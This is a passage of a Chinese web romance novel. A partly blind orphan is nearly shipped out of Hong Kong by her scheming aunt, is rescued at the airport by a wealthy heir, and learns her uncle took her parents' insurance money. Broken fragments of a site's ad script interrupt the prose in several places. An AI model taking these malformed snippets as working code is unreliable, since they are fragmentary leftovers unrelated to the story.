许姿沉默地站立着,直到看到那辆汽车消失在路的尽头,才渐渐放松了肩膀。 她看了眼时间,6:45,距离从港城国际机场最早起飞的航班,还有一个半小时。 一个半小时过后,飞机起飞,她的心患也会就此消失。 . “我能借用下你的手机给小梅打个电话吗?” 黎泱开口问女佣,借口想询问小梅家里出了什么事。但被女佣支支吾吾岔开了话题,只说让她再等一会,马上就到机场了。 “那么舅舅的航班号是多少,几点到达,要求哪里汇合。这些舅母都没有告诉你吗?” “这......” 女佣彻底说不出话来,只能沉默。 这幅反应坐实了黎泱的猜测。她的心头一空,脉搏加快,呼吸也凝滞了。一股很深的绝望感笼罩蔓延开来。 孟序根本没有回来,他此刻肯定仍然在新加坡出差。而许姿做了一个骗局,把她骗到了机场。 机场,机场...... 黎泱隐约猜到了许姿要做什么——她要把自己送回嘉市! 许姿从一开始就对她的到来表现出很强的敌意。黎泱撞见过她和孟序的对话,双方围绕着她展开的争吵次数很多。 起初,黎泱觉得是许姿不适应家中突然多出一个人,觉得冒犯。所以她努力降低存在感,平常只把自己锁在房间里不出现。 可随着时间推移,她才发现许姿对她的敌对根深蒂固,像积怨已久。但是两人在之前明明从未有过接触! 是因为“那件事”吗? 那件许姿说孟序“对不起黎泱父母”的事? 黎泱现在脑子很乱,根本无暇去深究其中的缘由。汽车速度很快,按照时间推算,大约已经驶上了高速。 不过一个多月前,她满怀希望踏上港城,以为自己能开始新的生活。然而没过多久,现实又让她踏上了相反的道路。 总是这样,一次又一次。 回到嘉市后会怎样?她又会变成孤儿院里人人嫌弃的、口头谈话里“被遣返两次”的47号。 那里的房间是摇摇欲坠的木门,关不上,也提供不了一个藏身之处。 ——可她真的,不想再过那样的日子了。 黎泱深呼吸,将手掌攥紧再松开,如此重复了三次,才稍稍稳住心乱如麻的情绪。她必须要冷静下来,为自己想办法。 女佣和司机大概没想到黎泱戴在手上的表除了报时功能外还能打电话。但是现在有人在场,她也没有机会呼救。 等到机场后,她找机会去一趟卫生间,那时...... “忘了说,把她手上的表收了,提防着她打电话。” 女佣在这时收到了许姿打来的电话,闻言立刻看向黎泱,伸手要去抓她手臂。黎泱心道不好,挣扎着向后躲。 她在慌乱间根本来不及去调号码,女佣的半个身子已经越过中控台,目标明确要去夺她的手表。 箭在弦上之际,黎泱猛然记起了手表的快捷键,是拨通最近通话的联系人。最近的联系人,最近的通话是......沈有容! 对,是他打电话约她见面的那次! 以沈有容的身份,他不会插手去管别人的闲事。但到了现在这个紧急关头,黎泱根本考虑不了那么多。她只知道这是目前自己唯一的自救办法,沈有容时她唯一能求助的人。 黎泱将胳膊背在身后,另一只手飞快在手表上滑动了两下,她已经听到了电话打过去的呼叫声。 拜托,拜托一定要接! 沈有容,拜托你一定要接—— . 港城国际机场,一架湾流G650公务机平稳降落。 G650庞大的吨位和高昂的造价让它拥有世界上最舒适的座舱环境,是湾流公司所推出的航程最远、最豪华的超级公务机。而面前的这架私人飞机隶属港城沈家,每年的托管费用高达七位数。 空乘推开舱门,与外面的工作人员交接了工作。地面上停着一辆黑色迈巴赫,项怀英从车上下来,交叠双手立在车身旁等候。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈有容臂弯搭着外套踏出舱门,额前的发丝被风吹起,有些遮住了眼眶。他昨晚飞了一趟京城,在那里和来参加学术会议的留学时期的导师见了一面。 今天又是周六,晚上是每周固定一次的家庭聚会。沈有容没继续留在京城,而是提早回了港城,打算白天补觉休息。 见到来接机的项怀英,沈有容问了他公司的情况。按照原本沈父和大哥制定的“轮转计划”,他要在每个子公司待到三个月,而他在宁恒快两个月了。 距离离开的时间不长不短。 来回奔波难免疲惫,沈有容上车便坐在后座闭目养神。他的手机一直在口袋里,上飞机后在思考别的事,一直没再打开过。 “少爷,你这次去见Pawel教授和他交谈得如何。” 听项怀英谈到昨晚的事,沈有容平静地说:“老样子。Pawel依然对我身为唯一一个从他手里毕业的学生,不继续深造读博这件事而郁闷。” 他在牛津读研选专业的时候,出乎所有人的意料,选择的是研究型的数学研究硕士。而当时其他授课型的专业有数学与计算金融、数学建模与科学建模等,这些在外界看来和从商相关的内容,沈有容完全避过。 说他刻意为之,但这确实是他本科的专业;说他真的喜欢钻研数学,沈有容又在Pawel眼皮底下翘课,跑去听选修的社会学的课程,还不止一次。 总之矛盾的要命,没人能猜到他究竟在想什么。 沈有容想起昨晚见导师的画面。Pawel是土生土长的英国人,继承了一贯的绅士做派,出行打扮必定要衬衫领结和西装。而沈有容不喜欢被约束,穿衣只追求舒适。为此,读书的时候Pawel没少痛心疾首。 昨晚也是一样的情况。他从鹤咀直接上飞机,身上穿的还是攀岩的那套黑色冲锋衣。Pawel看到他的时候,险些胡子要吹飞。 “Ethan,你就没有想过等你婚礼那天,会心甘情愿穿着西装打领结,去迎娶你心爱的姑娘吗?” 沈有容笑得漫不经心:“那得等我遇到了再说。” 项怀英发动汽车,准备驶出机场。沈有容睁开眼,被昨晚的回忆一通搅乱没了要继续休息的意思。 心甘情愿为了一个女人那么做?他还真没有那么想过。 他随手从外套口袋里拿出了手机,解锁,刚要回复消息的时候,一通电话打了进来。 联系人的备注是:会咬人的兔子。 沈有容眼眸一闪,以为是黎泱想好了那一个任意的条件,手指滑动屏幕接通了电话。 然而还未等他开口,就听到了电话那头的嘈杂声,还有黎泱压抑的嗓音: “沈有容,救救我——” 他眉心一跳,没有察觉到自己的声音也不自觉染上了一丝紧张。 “黎泱,你发生了什么事?” “别慌,我在听。” 项怀英察觉到不对劲,将车停下,注意力也放在了通话上。 “我在去机场的路上......这不是我的意愿,有人,要把送出港城。”黎泱的声音有些慌乱,但还是努力保持镇定传递信息:“大概就是最早的航班,我不......” 她的话没有说完,声音便戛然而止。 电话被挂断了。 14. 不夜14 14 沈有容看着手中被挂断的电话,静默两秒后对项怀英开口安排:“让人去查港城飞嘉市最早那架航班的登机口。先不回去了,掉头回航站楼。” 项怀英依言照做交代下去,透过后视镜观察沈有容的神情:“黎小姐是遇到麻烦了?” “有人不希望她继续留在港城。” 沈有容眉眼冷淡,看着项怀英调转方向开了回去。“还没给她兑现那个任意条件,就想从我手里抢人了。” 外面的风顺着降下的车窗灌进来,让他忽然想到了在酒店天台遇到黎泱的那次。 她当时因为看不见,又被他三言两句“摔倒自负”的话给吓住,小心翼翼地搭上他的手臂。 黎泱那天穿的是身白色裙子,裙摆也被风吹得翻飞,擦过沈有容的黑色西装裤脚。黑白真是最显目的对比色,一个画面他怎么记到现在。 汽车开到了航站楼,沈有容穿上外套推门下车。项怀英已经提前和机场的人打过招呼,获得了登机口通行证,按照查到的信息去找候机区。 沈有容抱着手臂站在玻璃窗前,注视着楼下出发层来往的人群。 傻得要命。 先前还那么笃定地对自己说“兔子急了也会跳起来咬人”,怎么被人骗了现在才反应过来。 . 黎泱的话还没说完,手表就被女佣夺走,直接从车窗扔了出去。 “小姐,不要再想着耍花招了。马上到机场,你老实按照太太的话上了飞机。” “但是你们事先完全没有问过我的意思。”黎泱的声音有些生气,“舅妈做的这件事,也完全是瞒着舅舅的吧?” 女佣无所谓地说:“先生还有一个礼拜才回来,那时候你早就不在港城了。你以为夫人会把你再送回来时的那个孤儿院吗?不,嘉市地方那么大,能去的地方可多了。” 听到这句话,黎泱如坠冰窟。 原来许姿打的是这个主意。 把她送回嘉市,却不再是原来的地点。一来就算等孟序回来后想再找她却没有消息,二来她一个无依无靠又失去视力的人,光靠自己是不可能再回港城的。 许姿究竟有和自己有什么过节,为什么要这么对待她? 黎泱心乱如麻根本想不通。她也不知道最后打去的那通电话,沈有容会不会为她多管闲事。 ......也许不会吧。 她在心里做了最坏的打算。 和沈有容的接触本来就不算多,更不要提先前还有过几次矛盾误会。他那样高高在上的背景身份,怎么可能会特意分神跑来救她? 而且她在电话里连话都没有说完整,恐怕在他心里连真假都要存疑几分。 一阵深深的无力挫败感在黎泱的全身席卷蔓延。 只能到这里了。 不多时,司机便开到了机场。女佣拿出事先准备好的证件,许姿为了让她亲眼看着黎泱登机,给女佣也买了机票确保能过安检。 然而刚过安检口要上扶梯前,有道人影拦在了她们前面。 “你预备把我的人送到哪?” 那是,沈有容的声音! 他真的出现在机场,接到电话来救她了! 黎泱自己都没有料到,在听到他声音的一瞬间会胸腔一滞,有种如释重负的感觉。 好像知道他在,心中便有了托底,寻到了信赖和安全的象征。 女佣对这样的突发情况显然措手不及。她没有见过沈有容,自然不清楚他的身份。只当他是黎泱随便找来的一个人,并没有放在心上。 然而下一秒,只见项怀英带着两名保镖突然出现,状似礼貌实则强硬地把女佣和黎泱分割开来。 “我家少爷接到黎小姐的电话,知道她受了委屈,所以现在要把人带走。这位女士,你是打算自己离开,还是我报警等警察来。” 事情发展到这一步,女佣早已傻了眼。她看得出对方气势绝不是一般人,说的话也绝不是在开玩笑。 黎泱竟然和这样的人有关系,真是出人意料。女佣只得忍气吞声离开,心想必须回去告诉许姿。 见人离开,项怀英十分有眼色地说了句“我去把车开来”,和保镖一起撤走了。 黎泱站在原地,朝沈有容的方向看去。她的眼睛视力还没完全恢复,只能看到一个模糊的轮廓。 “刚才——” “你——” 两人同时开口,听到对方的话都一愣。 黎泱眨了眨眼:“那我先说?”沈有容没回复,她就当时代表默认了。 “刚才的事谢谢你,因为事情发生得太匆忙,我只能用手表的快捷键打了最近通话的人。”她语气很认真,又带着诚恳:“还麻烦你特意来找我,真的很抱歉。” 沈有容也没弄清楚他心里的那股烦躁到底从何而来。从他接到黎泱的电话后,就开始有了这情绪。 他在等人的时间里,觉得见到黎泱后有必要问问她:脑子呢?怎么能随随便便就被别人卖了都反应不过来。如果不是他恰好在机场,那么等他赶到的时候飞机早就起飞了。 现在听到黎泱这番饱含真切的道歉,沈有容的气虽然消了些,但还没完全消散。 他冷哼了一声,睨眼看着黎泱,故意顺着她刚才的话往下说:“谢我?谁告诉你我是特意赶来找你的。” 黎泱第一时间并没有察觉到沈有容的话中意,反而还真以为沈有容是顺手救了她。她心想:果然是顺手,否则以自己和沈有容毫无关系的关系来说,他也没道理跑来救自己。 想明白这点,于是黎泱继续说:“那我也要感谢你顺手来救我,真的,万分感谢。” 沈有容气极反笑。 一时之间,他竟然不知道该怎么回黎泱。 真是说什么信什么。顺手?他大费周章安排人查信息,又亲自等在这里找人,就变成顺手做的事了。 沈有容觉得应该把黎泱的备注改成“又傻又天真的笨兔子”。 他以前还是冤枉沈汀仪了,应该把这个评价颁给黎泱。 “好,你说谢我,要怎么谢?总不能口说无凭,让我白跑一趟。” “我回去......去庙里为你祈福?” 见沈有容没说话,黎泱以为是他不满意,想了想又补充说:“啊对了,要不这次就拿来抵消你之前答应我的任意一个条件?” 这样一来,沈有容应该能满意了吧?他不是上次还让她早点想好要求,说要早点履行完结束这个契约。 “......” 沈有容彻底沉默。 好半天,才从牙缝里挤出一句话:“黎泱,你这是转换概念。我答应你一个要求,和你怎么答谢我,不是一件事。” 此刻,黎泱终于琢磨出了一丝不对劲。 不知道是不是她的错觉,沈有容好像......有一丝,不高兴? 她这么想着,也就这么问了。 “沈有容,你在生气吗?” “......你觉得呢。” “我看不见,不能从你的表情分辨你的心情,只能从你的语气来推断。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 黎泱顿了顿,鼓足勇气说出下一句: “所以你下次要是真的生气,能不能不要阴阳怪气,直接说出来?” 沈有容语塞。 他真想敲打一下黎泱的脑壳,问问她脑子里究竟在想些什么东西。 沈有容不想再就这个话题纠缠下去了:“还待在这做什么?想赶飞机么。”说罢转身要走,又用余光去瞥身后的黎泱有没有跟上来。 见到黎泱跟着他脚步动了,沈有容才装作什么都没发生的样子,“大度”地伸出自己的手:“怕摔倒就扶着。” . 轿车内静谧无声,项怀英坐在驾驶位上眼观鼻鼻观心认真开着车。直到车开出机场有一会,他才开口问:“是先送黎小姐回去?” “回浅水湾。” 沈有容在用手机回邮件,没抬头直接回复。黎泱坐在另一侧,听到这急忙说:“我也和你回去?这不合适吧......” 一声轻响,是沈有容按下了前后座的挡板按钮。 他关掉手机,转头看向一旁的黎泱。“你想回去再被送一趟机场,手表也没了,下次能打给谁?” 沈有容的目光顺着她的手臂看去,发现她原本瓷白的胳膊上出现了几道显眼未消的红痕,大概是先前在车上和女佣争夺手表时留下的。 他的目光动了几分,又不留痕迹收回视线。 “你的证件应该也不在身上,住酒店不可能。所以,你目前除了跟我回去,还有别的选择?” 黎泱现在的处境被沈有容一一点出。她才发现自己真的没有其他选择了。 在孟序回来以前,她确实只能听从沈有容的话待在他那里。 但是,但是—— 问题是,她和沈有容根本不熟啊!就算是借住,也会很奇怪吧? 而且,以沈有容的个性,怎么会对一个不熟的人这么慷慨施以援手。 黎泱的内心正在天人交战。她忘记自己早就取下了脸上的纱布,所以脸上的神情表露无遗。 沈有容早就发现了她脸上的纠结表情。看到她迟疑犹豫又没决心和勇气说出来的别扭样子,无声笑了下,觉得心情大好。 挡板升起后让本就无声的车厢更加安静,黎泱捕捉到一丝微弱的声音,怀疑地小声说:“你刚才在笑吗?” “没有。”沈有容说话都没有停顿,“你听错了。” 沈有容在浅水湾的别墅只有他一人住。他不喜欢被打扰,因此除了项怀英照顾他的日常起居外,只有另外四名佣人负责家里的其他事宜。 但现在多了黎泱,她的眼睛还在恢复又是女生,有必要安排一个经验丰富的佣人来照顾她。 沈有容想了下,让项怀英去沈家老宅借调几个人出来。还特意交代了不要惊动其他人,尤其是庄明意。 奔波赶路的困倦再次袭来。想到晚上还要回去参加聚会,沈有容便打算先回房间补觉休息。 他上楼前看到黎泱拘谨地端坐在客厅的沙发上,放在膝盖上的双手上还有淤青。顿了脚步,又转身让项怀英给她送去药箱。 “少爷,我现在从你身上仿佛看到了当年的自己。” 项怀英没忍住有感而发了一句,不出意料收到了沈有容的一记眼神,这才悻悻没往下继续说。 项怀英叫来一位女仆给黎泱上药,两人闲聊的时候,他随口道:“这个药膏还是之前专门开给少爷用的。” 黎泱一愣:“沈有容用过?”这应该是用在皮肤上的药膏。 “是,他之前有轻微的划痕症。” 15. 不夜15 15 黎泱上完药后就一直待在客房内。沈有容的别墅很安静,佣人做事恪守本分,没有发出任何多余的声音。 她趟在床上时只听见自己的呼吸,想起白天发生的事,仍觉得心有余悸。 沈有容在机场说她傻,想来也是。自己今天的这番处境落在他眼中,跟任人宰割的鱼肉没什么两样。 许姿能无所顾忌地把她送到机场,就是料定她没有反抗的机会。 ——还是因为没有能力,因为她不够强大。 黎泱侧躺着,用胳膊圈住自己的身体,头发从脸颊两边垂落,挡在额前和眼眶上。 她羡慕沈有容那种无所谓的气场,风轻云淡间运筹帷幄,解决完所有的事。不仅仅是依靠家世,他本身就有那种领导者的能力。 锋芒毕露,让人忽略不了。 不自觉想要靠近,渴望也成为那样的人。 她什么时候能成为那样的人? 黎泱,你不能永远别希望寄托在别人身上。 那样会太绝望又渺茫。 就像沈有容说的,再有下次,她能打给谁? 她要成长,要变得独立强大,让自己本身就具有能力。到有一日,靠自己也能解决所有的困境。 . 傍晚,沈有容被手机铃声吵醒,是大哥给他打来的电话。 “喂。” 他开口声音有些沙哑,还带着刚睡醒的气息。 沈闻时特意重新看了眼时间,确定自己打的不早不晚,总之不是该睡觉的时候。 “还没醒?家庭聚会,你快迟到了。庄女士刚下的命令,谁迟到今晚要陪她打牌。” “下飞机回来补觉,忘记定闹钟了。”沈有容捏了下鼻梁,开玩笑说:“现在我去贿赂Cindy,让那丫头替我打牌还来得及么。” 庄女士的牌技,放眼整个港城都是数一数二的—— 烂。 她没出嫁时是家里的老幺,被上面几个兄弟姐妹护短得不行;嫁给青梅竹马的沈铮后,又被宠得没有烦心事;出去应酬,她沈家夫人的身份一摆出,有眼色的都知道该怎么做。 日积月累,庄女士的牌技毫无长进,还颇有自信。 沈家三个孩子受了父亲沈铮的嘱托:不能让庄明意生气,只能千方百计地防水让庄女士赢牌—— 如此恶性循环,乐此不疲。 沈闻时在此刻体现了大哥的担当:“我帮你拖会时间,你尽早赶来。” 沈有容应下,起床去衣帽间换衣服。稍作收整后走出房间。 他的主卧和客房在走廊的两端,房间相对。推门而出的时候,正好看见黎泱也打开了房门。 沈有容没出声,静静看着。 直到发现黎泱有要下楼的迹象,他才走过去开口:“在不熟悉的地方,你也不怕摔了?” 听到他的声音,黎泱抬头看过去,解释说:“我上楼的时候记住了楼梯层数和方向,在脑海中有画面的。” 还挺聪明。 虽然心里这么想,沈有容还是牵着黎泱的胳膊下了楼。 “我晚上有事要出去。你一个人在家吃饭,等会有佣人会来伺候你。”沈有容交代完行程,又向黎泱确认:“可以?” “嗯嗯,我可以。那你路上注意安全。” 黎泱有种错觉,好像被当成一个不能自理的小孩。是错觉吧,沈有容这种每天业务繁忙活动充实的人,怎么还有闲心来操心这些小事。 沈有容赶到沈宅的时候,其他人确实都在等他一个。 庄女士问了他几句话,接着就直接点了让他今晚陪着打牌。沈汀仪和沈闻时隔岸观火,给了他一个舍己为人爱莫能助的眼神。 沈有容心不在焉陪着打了几局,抽空看了眼时间,已经是晚上九点了。 庄女士虽然整晚都在赢,却赢得毫无成就感。自己生的儿子怎么看不出心里在想什么,她早就注意到沈有容一直盯着手机在看了。 果然,九点一过,沈有容放下牌起身。 “不早了,我先回去了。” 沈汀仪在旁边玩手机,听到沈有容的这句话还以为是自己听错了。“九点算晚?二哥你家里又没人等你,这么急着回去做什么。” 说完,见沈有容似笑非笑扫了她一眼但又什么都说,沈汀仪心里咯噔一下。 然后一改先前看热闹不嫌事大的态度,竟然帮着沈有容开脱了。 “......哈哈,是挺晚了都九点了。哎呀天黑得越来越早了,大哥和二哥还要开车回去,早点走吧啊——” 就这样,沈汀仪三言两句配合着沈有容,已经把人送到了门外。 沈有容临走前对她说:“下次又看中了什么包,直接把链接发过来。” 沈汀仪:!!! 天,十八年的兄妹情,她今天才觉得沈有容真是她亲哥。 太帅了。 沈有容回到家,看到客厅开着一盏落地灯,旁边的沙发上还端坐着一个人影。 项怀英在旁边解释:“黎小姐用完晚饭就一直坐在这,劝她回屋休息也没动。” 黎泱确实有些犯困,不时头点地,但还是强撑着睡意在等沈有容回来。 按照她的想法,借住在别人家里要有该有的礼貌。即使主人不在,她也得做出一种尊重的表率。 沈有容看到她垂着脑袋忽高忽低,困意让她早就闭上了眼睛。也不知道究竟强撑着在等什么,这样了还不回房休息去。 察觉到她快要朝一边歪倒,沈有容伸出一只手扶住她的脑袋。黎泱柔软的黑发贴在他的掌心,有些发痒。 他敛眸,视线向下,从手掌移到面前睡着的女孩身上。 黎泱的头发很长,完全散下快要到及腰位置。眼下只用宽松的发圈系了两道,发丝蓬松更衬得她的脸庞小而五官显眼。她刚沐浴完,身上还带着残余的沐浴露淡香,若有若无萦绕在沈有容鼻尖。 睡梦中的黎泱还以为找到了什么支撑物,把沈有容扶着她的那只手当作了枕头,脸颊不自觉地往他的掌心间蹭了蹭。 沈有容当即有些怔住,面容闪过一丝不自然。下意识想要收回手,转念想到一放手黎泱要摔倒,又打消了念头。 “......” 他无声说了句话,伸出另一只胳膊按住黎泱的肩膀,让她慢慢向后靠在了沙发背上,这才终于抽出了刚才被蹭的那只手。 最后是佣人叫醒了黎泱,她醒来后发现身上披着一件外套。款式有些宽大,大概是男士的衣服。 之后的几天,沈有容似乎总有些忙碌,黎泱没和他再正面接触过。他清早离开去宁恒上班,傍晚回家和黎泱吃了晚饭便回了书 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 房。 黎泱倒是松了口气,心想这样就好。沈有容只是公事公办好心收留她几天,等到孟序出差结束她就能离开,再不叨扰。 她这几天把前后发生的事仔仔细细想了一遍,越发坚定许姿对待她的态度一定是出于什么原因。也许,就是因为“那件事”——她口里是孟序对不起黎泱父母的事。 黎泱对父母的记忆已经有些模糊了。车祸那年她才五岁,没到记事的年龄。印象中的父母,好像总是温声细语爱笑的。 被接到港城后,黎泱才从孟序口中大致拼凑出关于母亲和孟家断绝关系的事:原本孟家给她订了亲事,但是黎母和黎父情投意合,她才不顾反对断绝关系离开了港城。 黎泱不记得母亲提过孟家的事,也从没从她口中听到过孟序。所以按理讲,父母和孟序应该没有瓜葛。 但是为什么许姿会说孟序做了对不起父母的事?还有那笔钱,究竟又指的是什么。 黎泱想不通。 沈有容看见她脸上严肃的表情,随口追问道:“在想什么,眉毛都皱成川字了。” 黎泱当然不可能把孟家的事告诉他,只得转移话题:“没有,就是想明天离开就不用再麻烦你了。” 孟序明天便结束出差回港城,黎泱也就没必要再待在沈有容这了。 她没打算把许姿逼她离开的事告诉孟序。一来会让孟家的情况更难堪,孟序夹在其间不好处理。二来许姿知道后,难保不会对她更变本加厉。 但黎泱也没打算就此搁置这件事,她回去后一定要机会好好调查。 等到她眼睛恢复后,她要出去打工赚钱。经此一事让黎泱明白了任何事情都要依靠自己,只有自己足够强大才硬道理。 孟家,到底不是属于她的归属地。 她要有一天靠自己的努力,拥有属于她的房间。 沈有容眼见着黎泱在短短几分钟内变得斗志昂扬,不免觉得好奇又好笑,不知道她究竟在脑海中想了些什么。 “那我先回房了,明天要早点回去。晚安,沈有容。”黎泱从餐桌前起身。 手中的汤匙碰到碗壁,叮当一声脆响,把沈有容的思绪拉回来。他放下手中的杯子,嗓音平稳:“晚安。” 黎泱突然想到什么,又转身回来:“你先前说的那个条件我还没有想好。能不能再给我一段时间?” “可以。” “好。”黎泱点点头,把当时在机场时的感谢又重复了一遍。“沈有容,真的很谢谢你。” 不止是感谢他出现救下她。 更要感谢他让黎泱坚定了未来要做什么。 “说得像是分别的语气。” 沈有容并不打算明早送人回孟家,而是把这事交给了项怀英。他叫住黎泱,走到她身边让她抬起手。 黎泱不明所以地照做了,发现沈容给她的手腕上带了什么东西。摸了下,是个手表。 她先前的那个在争夺中被扔到了马路上,早就不见踪影。因而这两天听不到报时,没了时间概念。 “路上随便看到,顺手买了。”沈有容语气十分平常地解释,好像真的是做了无心之举:“让人帮你设了快捷键,第一个联系人是我。” 替她调好了尺寸在手腕上带好,他揉了下黎泱的发顶。 “下次道谢,别再只是口头说说了。” 16. 不夜16 16 “谁啊,来了。黎小姐?你不是......” 小梅循声走向院门,在看见外面站着的人后一愣。许姿那天安排小米去别的地方采购东西,等她回来就被告知黎泱已经回了嘉市。 黎泱朝她笑了笑,并没有解释自己这几天发生了什么。她们刚进屋,就迎面和下楼的许姿碰上了面。 见到黎泱安然无事回来了,许姿先是一惊,接着止不住地冷嘲热讽。 “哟,原来没饿死在街头。你也是有能耐,竟然找来人狐假虎威跑了。” 那天在机场发生的事,女佣回来后都告诉了许姿。包括沈有容让项怀英带着保镖拦下了人。 女佣不知道沈有容的身份,只从项怀英的话中推测出身份不低,大概是个有钱人。结果隔天孟今妍又从黎泱的房间里发现了一套高奢套裙,绝不是她能买得起的衣服。 “她肯定是勾搭上了毕承节!” 孟今妍笃定黎泱和毕承节有联系。因为party那天毕承节就对黎泱表现出了极大的兴趣。否则黎泱在港城无依无靠,怎么可能会找到人去机场救下她? 她恼怒得不行。毕承节过去追了她那么久一直没答应,想的是拿乔做事,一边稳住他一边试图再往上攀附。结果黎泱一出现,毕承节的兴趣都转移到了她身上。 这两人不知道什么在自己眼皮底下暗度陈仓,让孟今妍怎么可能不气。 许姿原本对孟今妍的话半信半疑。可现在见到黎泱完好无损站地到她面前,甚至气色比往常还要更好,才确信了孟今妍所说。 “有劳舅母关心。我如你所愿去朋友家住了几日,今天舅舅回来,我当然也要出现的。” 黎泱对许姿的恶语毫不在意,她这次回来想明白了一些事,自己一昧的退让只会换来更变本加厉的伤害。 既然已经撕破了脸皮,也没必要再维持岌岌可危的关系。 许姿有意隐瞒甚至不惜送走她,刚好证明了一点:她害怕黎泱知道那件事的真相。 但另一个知情的人是孟序,黎泱不是没有机会。 . “沈有容,你走神呢?” 谈由伸出两根手指在沈有容面前晃了晃,自我怀疑道:“不是吧,我唱歌真到了那么难听的地步?” 沈有容不动声色拨开他的手,回了一句:“别怀疑,是肯定。” “......” 包厢内还有其他人,知道沈有容身份的都不敢靠近。倒是有几个女生一直往他的方向看,眼神跃跃欲试。直到被旁边人低声警告:“你知道那位是什么身份吗?顶头的豪门,多少人眼巴巴地盯着呢。别白费心思了。” 沈有容是半路被谈由拉过来的。他在英国待了几年,不常和圈内这些二代们接触,有些甚至连眼熟都谈不上。当然就算真的见了面,也只有旁人试图和他搭话的份。 上层圈子阶级划分界限清晰,家世门第就是道无形的天堑。到了沈家这种地位,和什么结交做什么事,全凭喜好。 即使沈有容没兴趣进入家族集团做事,但他也被大哥和父亲推到了这个位置。 “没什么事我先走了。”他没心思继续待着,也知道其他人碍于他在放不开。 谈由见他要走,赶紧拦下:“等等,我有事问你。你前段时间是不是找我家老爷子帮了个忙,让他给一个姑娘看病?” 沈有容睨眼看着他,薄唇轻启吐出一句话,杀伤力确是极其高: “谈老院长要是知道你私下里调查他的事,会不会打断你的腿。” 他说这话的时候身形未动一分,然而压迫性的气势毋庸置疑。像是被外人触及了什么珍视的物件,下意识亮出了保护的爪牙。 谈由感觉脖子一凉,要说的话也噎住了。要不是他和沈有容认识多年还真没底气再坐着。 他尴尬笑了下:“哈,这些不重要。我好奇的是,你要老爷子看的病人,该不会是当时我们在医院遇到的那个女生吧?” 等了两秒没听见回复,他后知后觉大为震惊:“我靠,还真是啊——” 周围人被谈由一惊一乍的动静吸引,纷纷投来好奇的眼神。但又碍于沈有容在,不敢那么明目张胆地窥视。 这次换成了谈由把沈有容拉走:“我们有事先走一步,你们继续玩。”丢下这句话,便不再去管其他人什么表情,两人离开了包厢。 电梯下行,谈由“你你你......”了半天,最后憋出来一句:“你这样不好吧,不能欺负人家小姑娘看不见。” 沈有容在查看通话记录,没发现一条新来电。他退出去又点开短信,同样没有他要等的那个人的消息。 意识到自己在做什么后,他一愣,随即摁灭了手机。这才抽出精力去回答刚才谈由的话。 “怎么,你觉得我是骗财还是骗色了。” 沈有容倚靠在电梯壁一侧,漫不经心和谈由搭话。透过镜子,折射出他深邃立体的眉骨。 庄女士年轻时是远近闻名的美人,还是颜控。据说当年选择结婚对象时因为挑剔,只看上了沈铮。当然,这都是从港城小报流出的消息,真假无从考据。 得益于父母的优良基因,沈家的三个孩子都是美人。沈闻时的样貌偏向于东方柔和的气质,谦润如玉;沈汀仪最像庄明意,明媚大气又有些古灵精怪。 至于沈有容,他的五官更凌厉,眉骨也要更立体,令人过目难忘。早些年曾经有媒体拍到过他的照片去炒作,打着“港城豪门之子完胜男明星”的噱头标题,虽然不到半小时便全网下架。 谈由仔细琢磨着他的话:论骗财,那根本就是天方夜谭。沈有容最不缺的就是钱;论骗色,他这张脸都够招摇过市了。 不图财又不图色...... 妈呀,难道?! 沈有容发现谈由脸上的表情和那晚沈汀的眼色有异曲同工之处,都表现得像知道了什么天大的秘密一样。 也不知道究竟知道了什么。 他看了眼手表,已经是晚上八点。这个时间,黎泱应该早就回到了孟家。 按照她那兔子大点的胆,也不知道还会不会被欺负哭。 . 与此同时,孟家。 “咚咚。” 黎泱站在孟序的书房外,敲了敲门。没过多久,就听见屋内传来脚步声。 孟序拉开房门看见是她,有些意外:“小泱,这么晚了你怎么还没休息。” “舅舅,我有些事想问您。” 来之前,黎泱已经在心里做好了打算。许姿千方百计想要瞒住那件事,但孟序却是个突破口。他对自己的态度是确实的。 与其再处于被动状态,不如她主动开口,试探孟序的口风。 进了书房后,孟序照旧先关心问了黎泱的身体,在得知眼睛已经能见光后也跟着高兴。“那就好,这样我也能放下心了。” “舅舅,当年父母出车祸时我年纪还很小,记忆很模糊了。你能不能和我说说关于他们的事?” 听到黎泱的话,孟序一愣,陷入了很长的沉默当中。就在黎泱以为问不出什么的时候,却听到他开口了: “小泱,你的父母......是我对不起他们。” 孟序似乎下定了什么决心,又害怕会因为犹豫而再次错过说出真相的机会。“我一直在等这一天,这么多年每次做了决定却最终都不敢说出。小泱,我一直......都很后悔当年没有立刻出现带走你,让你在外颠沛流离了这么久。” 黎泱吃了一惊,她没想到原本只是试探,却让孟序顺势说出了事情完整的真相。 而在听完后,她才终于清楚为什么许姿会对自己有那么深的敌意。 当年黎泱的父母发生车祸后,在他们的名下有一份巨额保险赔偿,受益人便是黎泱。 车祸发生时父母都拼力将黎泱护在怀中,他们当场身亡,黎泱被送去医院抢救。保险公司只好把电话打给了黎母的哥哥,也就是孟序。 那时孟序正值事业低谷,家里条件不像现在这样富裕。孟今妍因为早产从小身体虚弱又生了场大病,需要一大笔手术费。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 接到赔偿电话时,孟序想的是立刻前往嘉市为妹妹一家料理后事,但许姿拦下了他。 她意有所指:“那笔赔偿落到一个孩子手里没什么用。现在需要它的是谁,你好好想想。” 然而没等孟序做出选择,许姿就先一步以他的名义去见了保险公司,领走了那笔巨额赔偿。恰好在同一时间港城医院打来电话,孟今妍的病找到了适配的器源,要立刻手术。 在当时紧急的情况下,孟序只好和许姿先回了港城,用那笔钱给孟今妍做了手术。等到事情告一段落孟序再赶往嘉市想见黎泱的时候,她已经出院被送到了不知名的孤儿院,无从找寻下落。 之后的十几年里,黎泱成了孤儿院的47号。而拿走了那笔赔偿的孟家借此为资本,此后生活顺遂。孟序事业不断升职,许姿也跻身进了富太圈,孟今妍更是被娇身冠养,脾性自傲。 “这些年里,我一直没放弃在找你,一有消息不论真假都会去查看。直到上次去嘉市出差,我找到你时却发现你过得根本不好。” 